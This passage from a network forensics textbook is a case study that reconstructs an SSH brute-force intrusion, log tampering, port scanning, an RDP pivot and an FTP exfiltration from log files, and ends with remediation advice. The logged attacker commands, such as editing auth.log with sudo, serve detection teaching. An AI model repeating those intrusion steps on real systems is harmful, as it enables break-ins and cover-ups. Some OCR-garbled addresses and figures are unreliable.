analysis of the risk that confidential information was stolen. Be sure to carefully justify your
conclusions.

Network: Bob’s Dry Cleaners network consists of three segments:

e Internal network: 192.168.30.0/24
e DMZ: 10.30.30.0/24

e The “Internet”: 172.30.1.0/24 [Note that for the purposes of this case study, we are
treating the 172.30.1.0/24 subnet as “the Internet.” In real life, this is a reserved
nonroutable IP address space.]

Evidence: Security staff at Bob’s Dry Cleaners collect operating system logs from servers
and workstations, as well as firewall logs. These are automatically sent over the network from
each system to a central log collection server running rsyslogd (192.168.30.30). Security staff
have provided you with log files from the time period in question. These log files include:

e auth.log—System authentication and privileged command logs from Linux servers
e workstations.log—Logs from Windows workstations

o firewall.log—Cisco ASA firewall logs
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Security staff also provide you with a list of important systems on the internal network:

Hostname Description IP address(es)
ant-fw Cisco ASA firewall 192.168.30.10
10.30.30.10

172.30.1.253

baboon-srv | Server running SSH, NTP, DNS 10.30.30.20
cheetah-srv Server running rsyslogd 192.168.30.30
dog-ws Workstation 192.168.30.101
elephant-ws Workstation 192.168.30.102
fox-ws Workstation 192.168.30.100
yak-srv Server 192.168.30.90

8.5.1 Analysis: First Steps

Let’s begin by examining the logs relating to the failed login attempts. Based on reports
from security staff, we know that the activity began at 18:56:50 and targeted 10.30.30.20,
which corresponds with the hostname “baboon-srv.” Since this is a Linux server, let’s browse
for corresponding logs in the auth.log evidence file. The first failed login attempts we see
are as follows:

2011-04-26T18:56:50-06:00 baboon-srv sshd[6423]: pam_unix(sshd:auth):
authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost
=172.30.1.77 user=root

2011-04-26T18:56:53-06:00 baboon-srv sshd[6423]: Failed password for root
from 172.30.1.77 port 60372 ssh2

2011-04-26T18:56:56-06:00 baboon-srv sshd[6423]: last message repeated 2
times

2011-04-26T18:56:56-06:00 baboon-srv sshd[6423]: PAM 2 more authentication
failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=172.30.1.77 wuser=
root

From these records, we see that the remote host 172.30.1.77 attempted to login to the
SSH server on baboon-srv targeting the account “root.” The “root” account is the default
administrative user on most Linux/UNIX systems. This is a very common target for brute-
force attacks, and a failed remote login attempt is certainly suspicious.

8.5.2 Visualizing Failed Login Attempts

Note that each initial “authentication failure” log is followed by additional entries that
indicate that there were two more failed login attempts. It’s important to remember that
failed login attempts are not recorded individually, but are instead recorded as a series of
event logs in the pattern above.

Next, let’s use a visualization tool to get a better picture of the volume and time frame
of the failed login attempts. Figure 84 is a screenshot of Splunk showing all activity from
auth.log from the host “baboon-srv.” As you can see, the bulk of the activity occurred
between 18:56 and 19:05.
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Figure 8—4. A chart in Splunk showing all activity from auth.log relating to “baboon-srv.” The
bulk of the activity occurs between 18:56 and 19:05.

After importing our log files into Splunk, we can use regular expressions to define specific
fields in the logs that are of interest to us, such as a field named “auth _rhost,” which specifies
the source of the remote login attempt (see “rhost=" in the SSH event log). Zooming in
on our time frame of interest, we can select each field, filter on it, and view statistics.
Figure 8-5 shows remote SSH login attempts between 18:56 and 19:06, with the auth _rhost
field selected. As you can see, only one remote host attempted to login to baboon-srv, and
that was 172.30.1.77.

Drilling down even further, we see that the login attempts have a distinct, regular pattern.
Figure 8-6 shows a closeup of SSH remote login attempts during just one minute (18:57:00—
18:57:59). As you can see, there are two events logged approximately every six seconds, with
only slight variation. The corresponding events, shown below the chart, are a record of one
failed remote login attempt, followed by a record of two more failed remote login attempts
(these are the only event logs that contain the “auth_rhost” field, which we have filtered
on). This means there are a total of three failed login attempts every six seconds, for an
average of one login attempt every two seconds.

The regularity of these failed login attempts is a strong indicator that the remote system
is running a brute-force password-guessing attack utility, such as “medusa.” Such utilities
are designed to use a password dictionary to attempt to guess a login password for a remote
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Figure 8-5. A screenshot of Splunk showing remote SSH login attempts between 18:56 and
19:06, with the auth_rhost field selected. There is only one remote host attempting to login to
baboon, and that is 172.30.1.77.
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Figure 8—6. A screenshot of Splunk showing SSH remote login attempts during just one minute
(18:57:00-18:57:59). Note the regular pattern of two log events every six seconds, which after
careful examination of the logs translates to an average of one login attempt every two seconds.
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system. The attack utility is typically configured to run either until the attack is successful
or the wordlist is exhausted. Since the SSH server needs time to process each login attempt,
brute-force utilities are commonly set to space login attempts by at least one to three
seconds, or longer if the attack is intended to be slow and stealthy.

8.5.3 Targeted Accounts

Now that we have clear indication of a brute-force password-guessing attack against the
SSH server running on baboon-srv, the next questions are: What accounts were targeted?
Was the attack successful?

In Splunk, let’s also define a field called “auth_ssh_target_user,” which contains the user-
name targeted in the remote SSH login attempts (see the “user=" tag in the SSH event
logs). We can simply select that field in Splunk and view statistics relating to event logs
that contain this field. Figure 8—7 shows that only two accounts were targeted, “root” and
“bob,” along with relative percentages of the logs that contain authentication failure mes-
sages relating to each account.

To generate these statistics, we filtered only on event logs containing “auth _ssh_target_
user,” which matches events of the following formats:

2011-04-26T18:57:19-06:00 baboon-srv sshd [6433]: pam_unix (sshd:auth):
authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost
=172.30.1.77 user=root

2011-04-26T18:57:26-06:00 baboon-srv sshd[6433]: PAM 2 more authentication
failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=172.30.1.77 user=
root

As you can see, there are two types of matching events, one that records one login
attempt, and the other that records two login attempts. We can use the “grep” and “wc”
shell commands to quickly count the number of each type of log for each of the targeted
accounts, and calculate a total number of failed login attempts for each targeted account.

As shown in the results below, there were 41 + (2 * 40) = 121 failed login attempts for
the “root” account:

$ grep "authentication failure" auth.log | grep "baboon-srv" | grep "user=
root" | grep -c "pam_unix(sshd:auth): authentication failure"
41
$ grep "authentication failure" auth.log | grep "baboon-srv" | grep "users=
root" | grep -c "PAM 2 more authentication failures"
40
Value # %
root 81 58.696%
hah 57 41.304%
bob 7 41 ¥

Figure 8-7. In Splunk, we defined a field called “auth_ssh_target_user,” which contains the
username targeted in the remote SSH login attempts. Only two accounts were targeted: “root”
and “bob.”
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Likewise, there were 29 + (2 * 28) = 85 failed login attempts for the “bob” account.

$ grep "authentication failure" auth.log | grep "baboon-srv" | grep "user=bob
" | grep -c "pam_unix(sshd:auth): authentication failure"

29

$ grep "authentication failure" auth.log | grep "baboon-srv" | grep "user=bob
" | grep -c "PAM 2 more authentication failures"

28

We can also graph the number of event logs relating to each user over time, as shown in
Figure 8-8. Notice that the failed login attempts for the “root” account occur first and are
immediately followed by attempts to login to the account “bob.” Again, this fits common
activity patterns of brute-force password-guessing utilities, which are often configured with
a list of usernames as input, and conduct attacks against each account in series.

8.5.4 Successful Logins

Now that we have strong evidence of a brute-force password-guessing attack, let’s turn our
attention to the question of whether the attack was successful.

In the auth.log file, the last failed SSH login attempt against baboon-srv is at 19:04:05,
for the account “bob,” as shown below:

$ grep "authentication failure" auth.log | grep "baboon-srv" | grep "sshd" |
tail -1

2011-04-26T19:04:05-06:00 baboon-srv sshd[6561]: pam_unix(sshd:auth):
authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost
=172.30.1.77 user=bob
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Figure 8—8. A graph created in Splunk, showing the number of event logs relating to each user
over time. The failed login attempts for the “root” account occur first, and are immediately
followed by attempts to login to the account “bob.”
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As you can see below, there are only two successful SSH remote login attempts for
baboon-srv, both of which occurred shortly after the long series of failed login attempts
ended, and both of which are from the same remote host as the failed login attempts:

$ grep "Accepted password" auth.log | grep "baboon-srv" | grep "sshd"

2011-04-26T19:04:07-06:00 baboon-srv sshd[6561]: Accepted password for bob
from 172.30.1.77 port 49214 ssh2

2011-04-26T19:04:33-06:00 baboon-srv sshd[6632]: Accepted password for bob
from 172.30.1.77 port 49215 ssh2

This strongly indicates that the brute-force password-guessing utility found the correct
password, and the attacker logged into the system! Judging by the time frame, it is likely
that the first successful login was executed by the automated password-guessing utility,
since it occurs two seconds after the last failed login attempt, fitting with the previously
established pattern. After this, it is fully 26 seconds before the second login attempt. Based
on the longer time interval, the second login attempt may have been a manual login executed
by the attacker, after seeing that the automated brute-force attack succeeded.

8.5.5 Activity Following Compromise

Let’s take a closer look at the event logs for the time frame after the first successul login
to the “bob” account. The snippet of logs below shows the authentication logs sent from
baboon-srv to the central login server during the time frame of interest:

2011-04-26T19:04:07-06:00 baboon-srv sshd[6561]: Accepted password for bob
from 172.30.1.77 port 49214 ssh2

2011-04-26T19:04:07-06:00 baboon-srv sshd[6561]: pam_unix(sshd:session):
session opened for user bob by (uid=0)

2011-04-26T19:04:08-06:00 baboon-srv sshd[6631]: Received disconnect from
172.30.1.77: 11:

2011-04-26T19:04:08-06:00 baboon-srv sshd[6561]: pam_unix(sshd:session):
session closed for user bob

2011-04-26T19:04:33-06:00 baboon-srv sshd[6632]: Accepted password for bob
from 172.30.1.77 port 49215 ssh2

2011-04-26T19:04:33-06:00 baboon-srv sshd[6632]: pam_unix(sshd:session):
session opened for user bob by (uid=0)

2011-04-26T19:05:10-06:00 baboon-srv sudo: pam_unix(sudo:auth):
authentication failure; logname=bob uid=0 euid=0 tty=/dev/pts/0 ruser=

rhost= user=bob
2011-04-26T19:05:18-06:00 baboon-srv sudo: bob : TTY=pts/O ; PWD=/home/
bob ; USER=root ; COMMAND=/usr/bin/vi /var/log/auth.log
2011-04-26T19:05:34-06:00 baboon-srv sudo: bob : TTY=pts/O ; PWD=/home/
bob ; USER=root ; COMMAND=/usr/sbin/tcpdump -nni ethO
2011-04-26T19:07:03-06:00 baboon-srv sudo: bob : TTY=pts/O ; PWD=/home/
bob ; USER=root ; COMMAND=/usr/bin/apt-get update
2011-04-26T19:07:15-06:00 baboon-srv sudo: bob : TTY=pts/O0 ; PWD=/home/

bob ; USER=root ; COMMAND=/usr/bin/apt-get install nmap
2011-04-26T19:14:53-06:00 baboon-srv sshd[6632]: pam_unix(sshd:session):
session closed for user bob

After the second successful remote SSH login to the account “bob,” we see an attempt to
use the command “sudo.” This is a widely used Linux/UNIX utility for running privileged
commands. By default, many Linux systems log both failed and successful uses of the “sudo”
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command. As you can see below, the first attempt to use the “sudo” command failed. Since
“sudo” normally requires that users enter their password to execute privileged commands,
this event likely indicates that the attacker typed the wrong password.

2011-04-26T19:05:10-06:00 baboon-srv sudo: pam_unix(sudo:auth):
authentication failure; logname=bob uid=0 euid=0 tty=/dev/pts/0 ruser=
rhost= user=bob

However, in subsequent logs, it is clear that the attacker was able to successfully execute
privileged commands using “sudo.” The logs show that the attacker used a text editor, “vi,”
to open the authentication logs on the local server:

2011-04-26T19:05:18-06:00 baboon-srv sudo: bob : TTY=pts/O ; PWD=/home/
bob ; USER=root ; COMMAND=/usr/bin/vi /var/log/auth.log

This strongly implies that the attacker edited the authentication logs stored locally on
baboon-srv, probably to conceal his or her tracks. Fortunately, security staff at Bob’s Dry
Cleaners also send logs to a remote log collection server, where they are not so easily modified
in the event of a compromise!

Next, the attacker ran “tcpdump,” a utility that sniffs traffic on the local network. From
the command flags, the attacker did not capture the traffic but merely sent it to the standard
output. This may have been useful for quickly determining what types of traffic were sent
across the local network, and picking out some addresses in use.

2011-04-26T19:05:34-06:00 baboon-srv sudo: bob : TTY=pts/O ; PWD=/home/
bob ; USER=root ; COMMAND=/usr/sbin/tcpdump -nni ethO

Subsequently, the attacker used the APT package management system to install the
“nmap” port scanning utility, as shown below. It is likely that other, nonprivileged com-
mands were run before this, which gave the attacker basic information about system con-
figuration and platform. Keep in mind that not all commands were necessarily recorded; we
only see records of privileged commands in these logs.

2011-04-26T19:07:03-06:00 baboon-srv sudo: bob : TTY=pts/O0 ; PWD=/home/
bob ; USER=root ; COMMAND=/usr/bin/apt-get update
2011-04-26T19:07:15-06:00 baboon-srv sudo: bob : TTY=pts/O ; PWD=/home/

bob ; USER=root ; COMMAND=/usr/bin/apt-get install nmap
Finally, over seven minutes later, we see that the attacker logged out:

2011-04-26T19:14:53-06:00 baboon-srv sshd[6632]: pam_unix(sshd:session):
session closed for user bob

What happened during those seven minutes for which there are no logs? Did the attacker
use nmap to conduct a port scan of the internal network? Since you can use nmap without
having to run privileged commands, it is entirely possible that the attacker ran nmap or
other utilities without leaving a trail in our auth.log file.

8.5.6 Firewall Logs

Now let’s take a look at our firewall logs and see if we can find evidence of any other activity
relating to baboon-srv (10.30.30.20) during the time frame of interest.



326 Chapter 8 Event Log Aggregation, Correlation, and Analysis

spurce-"Cirewall.luy” 16.39.30.20 Al time - _
=]
() 6,058 matching events & Save search | will Buid repont
* Timefine: €9 zoomin @ zoomout select a = log 1 bar = 1 minute
4.000 | Apr 26. 2011 ebE A 0f PM =day. April 26, 2011 Apr 26. 2011 7:28 PM | 4.000

Tue Apr 26
2011

Figure 8-9. A screenshot of Splunk showing a sudden spike of activity during the time frame
of interest, at 19:08.

In Figure 8-9, we see all of the events in the firewall logs relating to the IP address
“10.30.30.20.” As you can see, there is a sudden spike of activity during our time frame of
interest, at 19:08.

As before, when importing the firewall logs, we took the time to define fields of interest
(for Cisco events of type 6-106100, which are the vast majority of the events in firewall.log).
In this case, we used regular expressions to define the following fields in firewall.log:

o fw_src_ip—Source IP address
e fw_dst_ip—Destination IP address
e fw_dst_port—Destination port

Zooming in on the spike of activity at 19:08, we can click on the field “fw_src_ip” to
retrieve statistics, which show us that the IP address 10.30.30.20 was the source IP address
in 98.756% of the logs. Drilling down on the vast majority of activity where 10.30.30.20 was
the source IP address, we can see that there was activity targeting a wide variety of ports
for a very short period of time, just after 19:08 (see Figure 8-10). This activity pattern is
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Figure 8-10. A chart in Splunk showing the number of firewall events targeting certain destina-
tion ports, where the source IP address is 10.30.30.20. Only the top 10 most active destination
ports are shown, with the rest grouped together as “OTHER.”
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Figure 8—-11. As illustrated in Splunk, during the four seconds between 19:08:00 and 19:08:04,
10.30.30.20 made connections to over 200 destination IP addresses on over 200 ports. This is
indicative of a port scan.

commonly associated with port scanning; port scanners are often configured to send traffic to
a wide variety of ports on different destination systems in order to enumerate open services.

In Figure 8-11, you can see that during the four seconds between 19:08:00 and 19:08:04,
10.30.30.20 made connections to over 200 destination IP addresses on over 200 ports. Again,
this is a common activity pattern associated with port scanning. This makes sense given that
an attacker had installed the “nmap” port scanning utility on 10.30.30.20 just a minute prior.

As shown in Figure 8-10, approximately 45 seconds later (from 19:08:54 to 19:09:00),
there was a burst of activity targeting port 3389. In fact, as shown in Figure 8-12, after
19:08:05, 10.30.30.20 sent traffic only to port 3389, although over 100 IP addresses were
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Figure 8-12. A screenshot of Splunk showing activity after 19:08:05 relating to source IP
address 10.30.30.20 in the firewall logs. Notice that the only destination port targeted was port
3389, even through there were over 100 destination IP addresses targeted. This is indicative of
a port sweep.
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Figure 8-13. Splunk screenshot showing the top 10 destination IP addresses for connections
on port 3389. The system 192.168.30.101 received four connections on port 3389, two more
than any other destination IP address.

targeted. This pattern is typical of a port sweep, in which an automated scanner attempts
to connect to a specific port on a wide range of remote systems in order to find running
instances of a particular service.

Port 3389 (TCP) is commonly associated with the Remote Desktop Protocol (RDP),
often used for making remote connections to Windows workstations and servers. Examining
the traffic to destination port 3389 over all time, we can see that the system 192.168.30.101
received four connections on port 3389, two more than any other destination IP address (see
Figure 8-13, which shows the top 10 destination IP addresses for connections on port 3389).

Pulling out all logs relating to destination 192.168.30.101:3389, we see the following four
events:

$ grep '192\.168\.30\.101(3389) ' firewall.log

2011-04-26T19:08:58-06:00 ant-fw : %ASA-6-106100: access-list dmz permitted
tcp dmz/10.30.30.20(49814) -> inside/192.168.30.101(3389) hit-cnt 1 first
hit [0xdal42b8f, 0x0]

2011-04-26T19:09:37-06:00 ant-fw : %ASA-6-106100: access-1list dmz permitted
tcp dmz/10.30.30.20(50215) -> inside/192.168.30.101(3389) hit-cnt 1 first
hit [0xdal42b8f, 0x0]

2011-04-26T19:09:37-06:00 ant-fw : %ASA-6-106100: access-1list dmz permitted
tcp dmz/10.30.30.20(50216) -> inside/192.168.30.101(3389) hit-cnt 1 first
hit [0xdal142b8f, 0x0]

2011-04-26T19:10:47-06:00 ant-fw : %ASA-6-106100: access-1list dmz permitted
tcp dmz/10.30.30.20(50217) -> inside/192.168.30.101(3389) hit-cnt 1 first
hit [0xdal42b8f, 0x0]

These logs indicate that the firewall allowed four connections from 10.30.30.20 to
192.168.30.101 on port 3389, which is commonly associated with RDP. Were any of these
connections successful?

8.5.7 The Internal Victim—192.30.1.101

Let’s take a look at the workstation logs associated with 192.168.30.101. Based on infor-
mation from Bob’s Dry Cleaners’ security staff, this system has the hostname “dog-ws.”
Interestingly, as you can see below, at 19:11:08 there was a successful logon (event type
528) for the user account “bob.” This was just seconds after the firewall logged a remote
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connection attempt from 10.30.30.20 to 192.168.30.101 (and there certainly could have
been a small time skew between the firewall and workstation). Notice in the log excerpt
below, the field that reads “Logon Type: 10.” According to Microsoft, logon type 10 is titled
“Remotelnteractive,” and indicates “A user logged on to this computer remotely using
Terminal Services or Remote Desktop.”3”

$ grep 528 workstations.log | grep -i dog-ws
2011-04-26T19:11:08-06:00 dog-ws MSWinEventLog#0111#011Security#011754#011Tue
Apr 26 19:11:01 2011#011528#011Security#011bob#011User#011Success Audit

#011D0G-WS#011Logon/Logoff#011#011Successful Logon: User Name: bob

Domain: DOG-WS Logon ID: (0x0,0x155A04D) Logon Type: 10
Logon Process: User32 Authentication Package: Negotiate
Workstation Name: DOG-WS Logon GUID:

{00000000-0000-0000-0000-000000000000} #011698

Notice also that the targeted account was “bob,” which is the same as the likely com-
promised account on 10.30.30.20.

At this point, we have evidence that a remote attacker broke into 10.30.30.20 by guessing
the SSH password for the account “bob.” From there, the attacker conducted network port
scans and sweeps, and then likely connected to 192.168.30.101 using the account “bob” via
RDP.

Examining subsequent activity for the account “bob” on dog-ws, we see that shortly
after logon, “bob” executed a command shell:

2011-04-26T19:11:52-06:00 dog-ws MSWinEventLog#0110#011Security#011774#011Tue
Apr 26 19:11:25 2011#011592#011Security#011bob#011User#011Success Audit
#011D0G-WS#011Detailed Tracking#011#011A new process has been created:

New Process ID: 2676 Image File Name: C:\WINDOWS\system32\cmd.exe
Creator Process ID: 2136 User Name: bob Domain: DOG-WS
Logon ID: (0x0,0x155A04D) #011715

Subsequently, “bob” executed the command “ftp.exe”:

2011-04-26T19:11:52-06:00 dog-ws MSWinEventLog#0110#011Security#011776#011Tue
Apr 26 19:11:52 2011#011592#011Security#011bob#011User#011Success Audit
#011D0G-WS#011Detailed Tracking#011#011A new process has been created:

New Process ID: 2716 Image File Name: C:\WINDOWS\system32\ftp.exe
Creator Process ID: 2676 User Name: bob Domain: DOG-WS
Logon ID: (0x0,0x155A04D) #011717

FTP is a program commonly used to transfer files between remote systems. This is
certainly a concern, as the attacker could have used this program to transfer confidential
data to external systems.

Let’s examine the firewall logs again to see if 192.168.30.101 made any other connections
of interest. The output below shows all firewall logs associated with “192.168.30.101” (“dog-
ws”). Notice that the logs begin with a variety of connection attempts from 10.30.30.20,
during the time frame for which we identified port scanning activity (19:08:00 and 19:08:02).
After that, you can see more connection attempts from 10.30.30.20 to port 3389, during the
time frame that we identified a port sweep for port 3389 (19:08:58). Shortly thereafter, we

37. “Audit logon events: Security Configuration Editor; Security Services,” Microsoft, January 21, 2005,
http://technet.microsoft.com/en-us/library/cc787567(WS.10).aspx.
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see a connection at approximately the same time that a successful remote logon for the
account “bob” was logged in workstations.log (19:10:47).

$ grep '192\.168\.30\.101"' firewall.log

2011-04-26T19:08:00-06:00 ant-fw : %ASA-6-106100: access-1list dmz permitted
tcp dmz/10.30.30.20(36570) -> inside/192.168.30.101(80) hit-cnt 1 first
hit [0x26aeb55dd, 0x0]

2011-04-26T19:08:01-06:00 ant-fw : %ASA-6-106100: access-1list dmz permitted
tcp dmz/10.30.30.20(36943) -> inside/192.168.30.101(80) hit-cnt 1 first
hit [0x26aeb55dd, 0x0]

2011-04-26T19:08:02-06:00 ant-fw : %ASA-6-106100: access-list dmz permitted
tcp dmz/10.30.30.20(47207) -> inside/192.168.30.101(443) hit-cnt 1 first
hit [0xdal42b8f, 0x0]

2011-04-26T19:08:02-06:00 ant-fw : %ASA-6-106100: access-1list dmz permitted
tcp dmz/10.30.30.20(47276) -> inside/192.168.30.101(443) hit-cnt 1 first
hit [0xdal142b8f, 0x0]

2011-04-26T19:08:58-06:00 ant-fw : %ASA-6-106100: access-1list dmz permitted
tcp dmz/10.30.30.20(49814) -> inside/192.168.30.101(3389) hit-cnt 1 first
hit [0xdal42b8f, 0x0]

2011-04-26T19:09:37-06:00 ant-fw : %ASA-6-106100: access-list dmz permitted
tcp dmz/10.30.30.20(50215) -> inside/192.168.30.101(3389) hit-cnt 1 first
hit [0xdal42b8f, 0x0]

2011-04-26T19:09:37-06:00 ant-fw : %ASA-6-106100: access-1list dmz permitted
tcp dmz/10.30.30.20(50216) -> inside/192.168.30.101(3389) hit-cnt 1 first
hit [0xdal142b8f, 0x0]

2011-04-26T19:10:47-06:00 ant-fw : %ASA-6-106100: access-1list dmz permitted
tcp dmz/10.30.30.20(50217) -> inside/192.168.30.101(3389) hit-cnt 1 first
hit [0xda142b8f, 0x0]

2011-04-26T19:11:39-06:00 ant-fw : %ASA-6-106100: access-list inside
permitted tcp inside/192.168.30.101(1399) -> outside/172.30.1.77(21) hit-
cnt 1 first hit [0x2989a4a8, 0x0]

Finally, at 19:11:39 we see a permitted FTP connection from 192.160.30.101 to
172.30.1.77(21), the external attacker system! (This is also approximately the same time
as the FTP event we found associated with the account “bob” in workstations.log.)

8.5.8 Timeline

Based on our event log analysis, we can create a working hypothesis of what likely transpired.
Of course, we must make some educated guesses in order to interpret the activity we have
seen. However, our analysis is strongly supported by the evidence, references, and experience.
With that in mind, here is a timeline of events for the incident at Bob’s Dry Cleaners on
April 26, 2011:

e 17:17:01—auth.log begins
e 18:47:57—firewall.log begins

e 18:50:59—workstations.log begins

e 18:56:50-19:04:05—A series of failed login attempts from 172.30.1.77 to 10.30.30.20,
targeting the accounts “root” and “bob,” as recorded in auth.log. The regular pattern
of login attempts and volume of attempts indicates the use of a brute-force password-
guessing utility against the exposed SSH server.
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e 19:04:07—Successful remote login via SSH from 172.30.1.77 to 10.30.30.20, for
account “bob,” as recorded in auth.log.

e 19:04:08—SSH connection closed for account “bob” on 10.30.30.20, as recorded in
auth.log.

e 19:04:33—Successful remote login via SSH from 172.30.1.77 to 10.30.30.20, for
account “bob,” as recorded in auth.log.

e 19:05:10—User “bob” attempts to run a privileged command using sudo, but fails to
successfully authenticate, as recorded in auth.log.

e 19:05:18—User “bob” uses “sudo” to open the local authentication log, auth.log,
using the “vi” text editor on 10.30.30.20, as recorded in auth.log.

e 19:05:34—User “bob” uses “sudo” to run the sniffer “tcpdump” on 10.30.30.20, as
recorded in auth.log.

e 19:07:15—User “bob” uses “sudo” to install nmap on 10.30.30.20, as recorded in
auth.log.

e 19:08:00-19:08:04—A burst of permitted activity from 10.30.30.20 targeting over
200 destination ports on approximately 200 IP addresses, as recorded in firewall logs.
Indicative of a port scan.

e 19:08:54-19:09:00—A burst of permitted activity from 10.30.30.20 targeting port
3389 on approximately 200 IP addresses, as recorded in firewall logs. Indicative of a
port sweep.

e 19:10:47—Permitted connection from 10.30.30.20 to 192.168.30.101:3389 (RDP)
recorded in firewall logs.

e 19:11:08—Successful remote logon for the user account “bob” on dog-ws
(192.168.30.101) recorded in workstations.log.

e 19:11:39—Permitted outbound FTP connection from 192.160.30.101 to
172.30.1.77(21) recorded in firewall logs.

e 19:11:52—Command “cmd.exe” executed by “bob” on dog-ws (192.168.30.101), as
recorded in workstations.log.

e 19:11:52—Command “ftp.exe” executed by “bob” to dog-ws (192.168.30.101), as
recorded in workstations.log.

e 19:14:53—SSH session closed from 172.30.1.77 to 10.30.30.20 for wuser “bob,”
as recorded in auth.log.

e 19:17:01—auth.log ends.
e 19:28:24—firewall.log ends.
e 19:45:46—workstations.log ends.
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8.5.9 Theory of the Case

Now that we have put together a timeline of events, let’s summarize our theory of the case.
Again, this is a working hypothesis strongly supported by the evidence, references, and
experience:

The attacker (172.30.1.77) launched a brute-force password-guessing attack against
the external SSH server, 10.30.30.20 (baboon-srv). There were 121 login attampts for
the account “root,” which all failed. Subsequently, there were 85 failed login attempts
for the account “bob.” The 86th login attempt was successful.

The attacker logged into the victim server, 10.30.30.20 (baboon-srv), using SSH.

On 10.30.30.20 (baboon-srv), the attacker found that the “bob” account had the abil-
ity to run privileged commands using “sudo.” The attacker used this to edit local
authentication logs, sniff internal network traffic, and install the “nmap” port scan-
ning utility.

On 10.30.30.20 (baboon-srv), the attacker ran the nmap port scanning utility. First,
the attacker conducted a port scan of the internal network and, later, the attacker
conducted a port sweep for port 3389 (RDP).

Pivoting through 10.30.30.20 (baboon-srv), the attacker logged on to the internal
Windows workstation 192.168.30.101 (dog-ws) as “bob” using RDP. Judging by the
timing and prior events, it is likely that the attacker was able to logon by reusing
the password for the “bob” account, which was discovered during the brute-force
password-guessing attack on 10.30.30.20.

On 192.168.30.101 (dog-ws), the attacker used FTP to connect outbound directly to
the external system 192.168.1.77. It is likely that any data transfer was conducted in
FTP passive mode, as no port 20 connection was logged.

8.5.10 Response to Challenge Questions

Now,

let’s answer the investigative questions posed to us at the beginning of the case.

Evaluate whether the failed login attempts were indicative of a deliberate
attack. If so, identify the source and the target(s).

The failed login attempts clearly showed a regular pattern of one login attempt
approximately every two seconds. The short periodicity and regular pattern of these
login attempts are indicative of an automated client process configured to make reg-
ular login attempts. The first targeted account was “root,” the default administrator
account on most Linux systems, and the second targeted account was “bob,” a rea-
sonable guess for a company named “Bob’s Dry Cleaners.” Combined, there were over
200 login attempts within 8 minutes. All of the login attempts originated from an
external system, 172.30.1.77, and targeted 10.30.30.20.

The volume and pattern of the failed login attempts clearly indicate that the login
attempts were likely part of a deliberate attack to break into the exposed SSH service
on 10.30.30.20. The failed login attempts stopped as soon as a successful login was
made from 172.30.1.77 to 10.30.30.20, using the account “bob.”



8.5 Case Study: LOne Sh4rk's Revenge 333

To summarize, the failed login attempts were likely the result of a deliberate attack.
The target of the attack was 10.30.30.20 (baboon-src) and the source was 172.30.1.77.
The targeted user accounts were “root” and “bob.”

e Determine whether any systems were compromised. If so, describe the
extent of the compromise.
Given that the brute-force password-guessing attack against 10.30.30.20 (baboon-srv)
ended with a successful login using the account “bob,” it is likely that this system
and the “bob” account were compromised. Furthermore, we have seen evidence that
the attacker subsequently pivoted through 10.30.30.20 and logged into the internal
workstation 192.168.30.101 (dog-ws), again using the account “bob.” The internal
workstation 192.168.30.101 then made a direct connection over port 21 (FTP) to the
external attacker system, 172.30.1.77. Based on this activity, it is wise to assume that
192.168.30.101 (dog-ws) is also compromised, and that files may have been uploaded
or downloaded using FTP.

Any accounts with credentials stored on either 10.30.30.20 (baboon-srv) or
192.168.30.101 (dog-ws) should also be assumed to be compromised, since the
attacker could have downloaded hashed passwords to run through a password-cracking
utility.

8.5.11 Next Steps

Using event logs from servers, workstations, and the firewall, we have learned a significant
amount about the events that likely transpired on April 26, 2011. As forensic investiga-
tors, where do we go from here? Although this depends on the resources and goals of the
organization initiating the investigation, often the next steps involve a two-pronged attack
of gathering additional evidence, and containing/eradicating any compromise. In this case,
common next steps might include:

e Containment/Eradication: What can Bob’s Dry Cleaners do to contain the damage
and prevent further compromise? Here are a few options:

— Change all passwords that may have been compromised. This includes any pass-
words related to the DMZ victim, 10.30.30.20, and the internal system
192.168.30.101. Organizations that “play it safe” may choose to reset all pass-
words.

— Rebuild the two compromised systems, 10.30.30.20 and 192.168.30.101 (after
gathering evidence from them as needed).

— Tighten firewall rules to more strictly limit access from the DMZ to the internal
network. Is there really a need for DMZ systems to access internal systems? Limit
this access to the greatest extent possible.

— Block outbound connections on TCP port 21 (FTP), and any other ports that
are not needed.

— Remove or restrict access to the externally exposed SSH service, if possible.
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— Consider using two-factor authentication for external access to the network.
Single-factor authentication is risky and leaves the system at much higher risk of
compromise due to brute-force password guessing, as we have seen.

e Additional Sources of Evidence: Here are some high-priority potential sources of
additional evidence that might be useful in the case:

— Flow records—If Bob’s Dry Cleaners is collecting flow record data from the fire-
wall, this may help to determine the size and directionality of the data transfer
between 192.168.30.101 and 172.30.1.77.

— Hard drives of compromised systems—Forensic analysis of the compromised sys-
tem hard drive may reveal detailed information about the attacker’s activities
or, at the very least, allow for an inventory of confidential information that may
have been compromised.



Chapter 9

Switches, Routers, and Firewalls

“The Internet . ..1is not a big truck. It’s a series of tubes. And ... those tubes can be filled
and if they are filled, when you put your message in, it gets in line and it’s going to be
delayed by anyone that puts into that tube enormous amounts of material, enormous
amounts of material.”’

—Former U.S. Senator Theodore “Ted’” Stevens (R-Alaska)!

The line between switches, routers, and firewalls has become very blurred. It only exists as
a theoretical line, which is no longer strictly implemented at all, if it ever really was. What
does that mean for the forensic investigator? The evidence you may expect to find on one
device may actually exist on another. A device called a “switch” may actually contain logs
that you would expect to find on a “firewall.”

Regardless of their label, network infrastructure devices contain configurations that
reflect the state of the network and activities and, with any luck, the policies of the
enterprise that’s deployed them. As a result, they often contain evidence that may be of use
in an investigation, including descriptive information about the investigative environment,
and perhaps evidence relating to a particular event of interest.

In this chapter, we discuss traditional switches, routers, and firewalls, as they pertain
to network forensic investigations. We review the types of storage media commonly found
in network infrastructure devices, evidence found on different types of devices, common
interfaces, and logging setups. Keep in mind, however, that when you are examining a
piece of equipment called a “switch” or a “router,” these devices may include functionality
normally associated with other types of devices (for that matter, the same holds true for
“hubs,” which are nearly always actually switches these days). It is always a good idea to
research the specific make and model of the equipment under investigation before beginning
your forensic examination.

Don’t worry so much about the label. Whether Cisco says a device is a hub or a switch,
the investigator’s job is to understand the feature set and the configuration of the device,
whatever it may be called.

1. T. Stevens, in a speech before the U.S. Senate on “network neutrality,” June 2006, http://media
.publicknowledge.org/stevens-on-nn.mp3.

335


http://media.publicknowledge.org/stevens-on-nn.mp3
http://media.publicknowledge.org/stevens-on-nn.mp3

336 Chapter 9  Switches, Routers, and Firewalls

